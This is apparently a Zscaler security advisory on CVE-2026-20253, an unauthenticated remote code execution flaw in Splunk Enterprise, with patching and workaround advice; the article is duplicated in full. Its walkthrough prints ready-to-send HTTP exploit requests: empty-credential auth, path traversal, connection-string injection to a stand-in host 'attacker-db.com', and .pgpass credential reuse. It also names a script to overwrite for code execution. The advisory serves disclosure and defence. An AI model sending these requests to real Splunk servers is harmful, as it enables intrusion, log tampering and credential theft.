Critical Unauthenticated Remote Code Execution in Splunk Enterprise (CVE-2026-20253) Nataraja Gundale (Zscaler)

IntroductionSplunk disclosed a critical unauthenticated remote code execution (RCE) vulnerability in Splunk Enterprise tracked as CVE-2026-20253 on June 10, 2026. The vulnerability has a CVSS score of 9.8 and stems from missing authentication on a PostgreSQL sidecar service recovery endpoint that can be reached through the Splunk Web interface, which proxies requests to the internal PostgreSQL sidecar service without enforcing authentication. A successful attacker can create or truncate arbitrary files and ultimately achieve arbitrary code execution under the Splunk service account.On June 12, 2026, watchTowr Labs published a technical deep-dive and proof-of-concept analysis. On June 18, 2026, Splunk updated its advisory to warn of active exploitation in the wild. On the same day, Cybersecurity and Infrastructure Security Agency (CISA) added CVE-2026-20253 to its Known Exploited Vulnerabilities (KEV) catalog. In addition, CISA mandated that all federal agencies must remediate the issue by June 21, 2026 as mandated by Binding Operational Directive (BOD) 26-04.Splunk Enterprise is a centralized platform for collecting, indexing, and analyzing security and operational telemetry across an organization. As a result, attackers who compromise a Splunk Enterprise instance may be able to tamper with logs, suppress alerts, harvest sensitive data from indexed events, and use a Splunk host as a foothold to pivot deeper into the network infrastructure of a targeted organization. Affected VersionsAffectedThe following versions of Splunk Enterprise are affected by CVE-2026-20253 and should be updated immediately:10.2.x (Prior to 10.2.4)10.0.x (Prior to 10.0.7)Not affectedSplunk Enterprise versions 9.4 and earlier Splunk Cloud Platform (does not use the PostgreSQL sidecar service) RecommendationsIdentify all Splunk Enterprise instances: Create an inventory of all Splunk Enterprise deployments in your organization’s infrastructure. Pay special attention to Amazon Web Services (AWS) deployments where the vulnerable PostgreSQL sidecar service may be enabled by default.Upgrade to fixed release: Upgrade Splunk Enterprise to a patched version to remediate.Disable the PostgreSQL sidecar service (temporary workaround if you cannot upgrade immediately): Add the following lines to $SPLUNK_HOME/etc/system/local/server.conf, then restart Splunk Enterprise:[postgres]
disabled = trueImportant: Do not apply this workaround if the instance uses Edge Processor, Open Process Control Unified Architecture Mapping (OpAmp), or Search Processing Language 2 (SPL2) data pipelines, as disabling PostgreSQL breaks these features. Core search, indexing, and dashboard functionality are not affected.Restrict network access to the management interface: Remove direct internet access to the Splunk Web interface (default TCP port 8000) by placing it behind a zero trust access layer with identity-based access controls. This helps prevent unauthenticated exploit attempts from reaching vulnerable endpoints. How It WorksCVE-2026-20253 involves abuse of the PostgreSQL sidecar service recovery functionality exposed through Splunk Web. An attacker can chain multiple behaviors to progress from a limited file-operation primitive to arbitrary file write and, ultimately, code execution.Possible execution1. Initial access (unauthenticated reachability via proxy): An attacker sends a crafted HTTP POST request to the Splunk Web interface on port 8000. Splunk Web acts as a reverse proxy and forwards the request to an internal PostgreSQL sidecar recovery endpoint: /en-US/splunkd/__raw/v1/postgres/recovery/backup. Although the sidecar listens only on 127.0.0.1:5435, it becomes reachable remotely through this proxy path. The recovery endpoints accept any Authorization: Basic header value, including empty credentials (Og==, which decodes to a blank username and password). No valid credentials are required at any step. The request below creates an empty /tmp/poc file to test the vulnerability.POST /en-US/splunkd/__raw/v1/postgres/recovery/backup HTTP/1.1
Host: splunk.example.com:8000
Authorization: Basic Og==
Content-Type: application/json
Content-Length: 62

{“database”:”postgres”,”backupFile”:”/tmp/poc”}2. Arbitrary file creation via path traversal: The backupFile parameter is passed directly to pg_dump as the output path with no validation. An attacker can supply path traversal sequences (for example, ../../../../../../tmp/backuptest) to create or truncate files at any writable location on the filesystem. At this stage, the resulting files are typically empty because the attacker cannot authenticate to the local database. The request below demonstrates a directory traversal to create a different file.POST /en-US/splunkd/__raw/v1/postgres/recovery/backup HTTP/1.1
Host: splunk.example.com:8000
Authorization: Basic Og==
Content-Type: application/json
Content-Length: 72

{“database”:”postgres”,”backupFile”:”../../../../../../tmp/backuptest”}3. Connection string injection (dump attacker-controlled content): The attacker then coerces Splunk into connecting to an attacker-controlled PostgreSQL server instead of the local instance. By injecting connection string parameters (for example, hostaddr=attacker-db.com), the attacker can override the intended host and cause Splunk to fetch a database from the attacker’s server and write it to the specified backupFile. The request below demonstrates dumping attacker-controlled database content to /tmp/poc, overwriting any existing file.POST /en-US/splunkd/__raw/v1/postgres/recovery/backup HTTP/1.1
Host: splunk.example.com:8000
Authorization: Basic Og==
Content-Type: application/json
Content-Length: 62

{“database”:”hostaddr=attacker-db.com”,”backupFile”:”/tmp/poc”}4. Credential theft via .pgpass reuse: Splunk stores PostgreSQL credentials in plaintext in: /opt/splunk/var/packages/data/postgres/.pgpass. By injecting a passfile parameter into the PostgreSQL connection string, the attacker can point PostgreSQL to this file and authenticate as the privileged postgres_admin user without knowing the password.5. Remote code execution (RCE): With an arbitrary file write primitive, the attacker overwrites a Python script that Splunk executes on a schedule (for example): /opt/splunk/etc/apps/splunk_secure_gateway/bin/ssg_enable_modular_input.py. The payload runs under the Splunk service account during the next scheduled execution, resulting in unauthenticated RCE.POST /en-US/splunkd/__raw/v1/postgres/recovery/restore HTTP/1.1
Host: splunk.example.com:8000
Authorization: Basic cG9zdGdyZXNfYWRtaW46
Content-Type: application/json
Content-Length: 111

{“database”:”dbname=template1 passfile=/opt/splunk/var/packages/data/postgres/.pgpass”,”backupFile”:”/tmp/poc”}6. Post-exploitation impact: After gaining execution, an attacker can tamper with or delete security telemetry to degrade detection and response, harvest stored credentials/API keys from indexed data, establish persistence, disable logging mechanisms, and pivot to other internal systems using Splunk’s network position and service account privileges.Attack chainThe figure below shows the attack chain targeting Splunk Enterprise via CVE-2026-20253.Figure 1: Diagram depicting the attack chain targeting Splunk Enterprise via CVE-2026-20253. ConclusionCVE-2026-20253 is a critical unauthenticated vulnerability in Splunk Enterprise that allows an unauthenticated remote attacker to reach the PostgreSQL sidecar recovery endpoints via Splunk Web and abuse them to create and write attacker-controlled files on the host. By chaining these primitives into an arbitrary file write, an attacker can achieve remote code execution as the Splunk service account, enabling log tampering and further compromise of internal systems. How Zscaler Can HelpZscaler’s cloud native Zero Trust network access (ZTNA) solution enables organizations to remove Splunk Web (and other administrative endpoints) from direct internet exposure. Use Zscaler Private Access (ZPA) to connect users to apps, with AI-powered user-to-app segmentation and prevent lateral threat movement with inside-out connections.Deploy comprehensive cyberthreat and data protection for private apps with integrated application protection, deception, and data protection.The following table shows the typical attack stages and the mitigations recommended by Zscaler.Attack StageRecommended MitigationMinimize the external attack surfaceEliminate externally exposed assets like VPNs, firewalls and enterprise applications which are often subject to these zero day exploitation attempts by leveraging a Zero Trust architecture.Prevent compromiseDetonate unknown second-stage payloads with Advanced Cloud Sandbox.Route server egress through ZIA to detect/block post-compromise activity.Enable SSL/TLS inspection for all traffic, including trusted sources.Enable Advanced Threat Protection to block known C2 domains.Use Advanced Cloud Firewall, to extend C2 controls across all ports/protocols, including emerging C2.Prevent lateral threat movementUse ZPA to enforce least-privilege user-to-app segmentation for crown-jewel apps (employees and third parties).Use ZPA inline inspection to block exploitation attempts against private apps from compromised users.Use Zscaler Deception to detect and contain lateral movement or privilege escalation with decoy assets and accounts.Prevent data lossInspect outbound traffic across channels with Zscaler DLP. Zscaler CoverageThe Zscaler ThreatLabz team has deployed protection for CVE-2026-20253 with the following:Zscaler Advanced Threat ProtectionApp.Exploit.CVE-2026-20253Zscaler Private Access AppProtection6000500: Splunk Enterprise Unauthenticated Remote Code Execution (CVE-2026-20253)  

​[#item_full_content] [[{“value”:”IntroductionSplunk disclosed a critical unauthenticated remote code execution (RCE) vulnerability in Splunk Enterprise tracked as CVE-2026-20253 on June 10, 2026. The vulnerability has a CVSS score of 9.8 and stems from missing authentication on a PostgreSQL sidecar service recovery endpoint that can be reached through the Splunk Web interface, which proxies requests to the internal PostgreSQL sidecar service without enforcing authentication. A successful attacker can create or truncate arbitrary files and ultimately achieve arbitrary code execution under the Splunk service account.On June 12, 2026, watchTowr Labs published a technical deep-dive and proof-of-concept analysis. On June 18, 2026, Splunk updated its advisory to warn of active exploitation in the wild. On the same day, Cybersecurity and Infrastructure Security Agency (CISA) added CVE-2026-20253 to its Known Exploited Vulnerabilities (KEV) catalog. In addition, CISA mandated that all federal agencies must remediate the issue by June 21, 2026 as mandated by Binding Operational Directive (BOD) 26-04.Splunk Enterprise is a centralized platform for collecting, indexing, and analyzing security and operational telemetry across an organization. As a result, attackers who compromise a Splunk Enterprise instance may be able to tamper with logs, suppress alerts, harvest sensitive data from indexed events, and use a Splunk host as a foothold to pivot deeper into the network infrastructure of a targeted organization. Affected VersionsAffectedThe following versions of Splunk Enterprise are affected by CVE-2026-20253 and should be updated immediately:10.2.x (Prior to 10.2.4)10.0.x (Prior to 10.0.7)Not affectedSplunk Enterprise versions 9.4 and earlier Splunk Cloud Platform (does not use the PostgreSQL sidecar service) RecommendationsIdentify all Splunk Enterprise instances: Create an inventory of all Splunk Enterprise deployments in your organization’s infrastructure. Pay special attention to Amazon Web Services (AWS) deployments where the vulnerable PostgreSQL sidecar service may be enabled by default.Upgrade to fixed release: Upgrade Splunk Enterprise to a patched version to remediate.Disable the PostgreSQL sidecar service (temporary workaround if you cannot upgrade immediately): Add the following lines to $SPLUNK_HOME/etc/system/local/server.conf, then restart Splunk Enterprise:[postgres]
disabled = trueImportant: Do not apply this workaround if the instance uses Edge Processor, Open Process Control Unified Architecture Mapping (OpAmp), or Search Processing Language 2 (SPL2) data pipelines, as disabling PostgreSQL breaks these features. Core search, indexing, and dashboard functionality are not affected.Restrict network access to the management interface: Remove direct internet access to the Splunk Web interface (default TCP port 8000) by placing it behind a zero trust access layer with identity-based access controls. This helps prevent unauthenticated exploit attempts from reaching vulnerable endpoints. How It WorksCVE-2026-20253 involves abuse of the PostgreSQL sidecar service recovery functionality exposed through Splunk Web. An attacker can chain multiple behaviors to progress from a limited file-operation primitive to arbitrary file write and, ultimately, code execution.Possible execution1. Initial access (unauthenticated reachability via proxy): An attacker sends a crafted HTTP POST request to the Splunk Web interface on port 8000. Splunk Web acts as a reverse proxy and forwards the request to an internal PostgreSQL sidecar recovery endpoint: /en-US/splunkd/__raw/v1/postgres/recovery/backup. Although the sidecar listens only on 127.0.0.1:5435, it becomes reachable remotely through this proxy path. The recovery endpoints accept any Authorization: Basic header value, including empty credentials (Og==, which decodes to a blank username and password). No valid credentials are required at any step. The request below creates an empty /tmp/poc file to test the vulnerability.POST /en-US/splunkd/__raw/v1/postgres/recovery/backup HTTP/1.1
Host: splunk.example.com:8000
Authorization: Basic Og==
Content-Type: application/json
Content-Length: 62

{“database”:”postgres”,”backupFile”:”/tmp/poc”}2. Arbitrary file creation via path traversal: The backupFile parameter is passed directly to pg_dump as the output path with no validation. An attacker can supply path traversal sequences (for example, ../../../../../../tmp/backuptest) to create or truncate files at any writable location on the filesystem. At this stage, the resulting files are typically empty because the attacker cannot authenticate to the local database. The request below demonstrates a directory traversal to create a different file.POST /en-US/splunkd/__raw/v1/postgres/recovery/backup HTTP/1.1
Host: splunk.example.com:8000
Authorization: Basic Og==
Content-Type: application/json
Content-Length: 72

{“database”:”postgres”,”backupFile”:”../../../../../../tmp/backuptest”}3. Connection string injection (dump attacker-controlled content): The attacker then coerces Splunk into connecting to an attacker-controlled PostgreSQL server instead of the local instance. By injecting connection string parameters (for example, hostaddr=attacker-db.com), the attacker can override the intended host and cause Splunk to fetch a database from the attacker’s server and write it to the specified backupFile. The request below demonstrates dumping attacker-controlled database content to /tmp/poc, overwriting any existing file.POST /en-US/splunkd/__raw/v1/postgres/recovery/backup HTTP/1.1
Host: splunk.example.com:8000
Authorization: Basic Og==
Content-Type: application/json
Content-Length: 62

{“database”:”hostaddr=attacker-db.com”,”backupFile”:”/tmp/poc”}4. Credential theft via .pgpass reuse: Splunk stores PostgreSQL credentials in plaintext in: /opt/splunk/var/packages/data/postgres/.pgpass. By injecting a passfile parameter into the PostgreSQL connection string, the attacker can point PostgreSQL to this file and authenticate as the privileged postgres_admin user without knowing the password.5. Remote code execution (RCE): With an arbitrary file write primitive, the attacker overwrites a Python script that Splunk executes on a schedule (for example): /opt/splunk/etc/apps/splunk_secure_gateway/bin/ssg_enable_modular_input.py. The payload runs under the Splunk service account during the next scheduled execution, resulting in unauthenticated RCE.POST /en-US/splunkd/__raw/v1/postgres/recovery/restore HTTP/1.1
Host: splunk.example.com:8000
Authorization: Basic cG9zdGdyZXNfYWRtaW46
Content-Type: application/json
Content-Length: 111

{“database”:”dbname=template1 passfile=/opt/splunk/var/packages/data/postgres/.pgpass”,”backupFile”:”/tmp/poc”}6. Post-exploitation impact: After gaining execution, an attacker can tamper with or delete security telemetry to degrade detection and response, harvest stored credentials/API keys from indexed data, establish persistence, disable logging mechanisms, and pivot to other internal systems using Splunk’s network position and service account privileges.Attack chainThe figure below shows the attack chain targeting Splunk Enterprise via CVE-2026-20253.Figure 1: Diagram depicting the attack chain targeting Splunk Enterprise via CVE-2026-20253. ConclusionCVE-2026-20253 is a critical unauthenticated vulnerability in Splunk Enterprise that allows an unauthenticated remote attacker to reach the PostgreSQL sidecar recovery endpoints via Splunk Web and abuse them to create and write attacker-controlled files on the host. By chaining these primitives into an arbitrary file write, an attacker can achieve remote code execution as the Splunk service account, enabling log tampering and further compromise of internal systems. How Zscaler Can HelpZscaler’s cloud native Zero Trust network access (ZTNA) solution enables organizations to remove Splunk Web (and other administrative endpoints) from direct internet exposure. Use Zscaler Private Access (ZPA) to connect users to apps, with AI-powered user-to-app segmentation and prevent lateral threat movement with inside-out connections.Deploy comprehensive cyberthreat and data protection for private apps with integrated application protection, deception, and data protection.The following table shows the typical attack stages and the mitigations recommended by Zscaler.Attack StageRecommended MitigationMinimize the external attack surfaceEliminate externally exposed assets like VPNs, firewalls and enterprise applications which are often subject to these zero day exploitation attempts by leveraging a Zero Trust architecture.Prevent compromiseDetonate unknown second-stage payloads with Advanced Cloud Sandbox.Route server egress through ZIA to detect/block post-compromise activity.Enable SSL/TLS inspection for all traffic, including trusted sources.Enable Advanced Threat Protection to block known C2 domains.Use Advanced Cloud Firewall, to extend C2 controls across all ports/protocols, including emerging C2.Prevent lateral threat movementUse ZPA to enforce least-privilege user-to-app segmentation for crown-jewel apps (employees and third parties).Use ZPA inline inspection to block exploitation attempts against private apps from compromised users.Use Zscaler Deception to detect and contain lateral movement or privilege escalation with decoy assets and accounts.Prevent data lossInspect outbound traffic across channels with Zscaler DLP. Zscaler CoverageThe Zscaler ThreatLabz team has deployed protection for CVE-2026-20253 with the following:Zscaler Advanced Threat ProtectionApp.Exploit.CVE-2026-20253Zscaler Private Access AppProtection6000500: Splunk Enterprise Unauthenticated Remote Code Execution (CVE-2026-20253)”}]]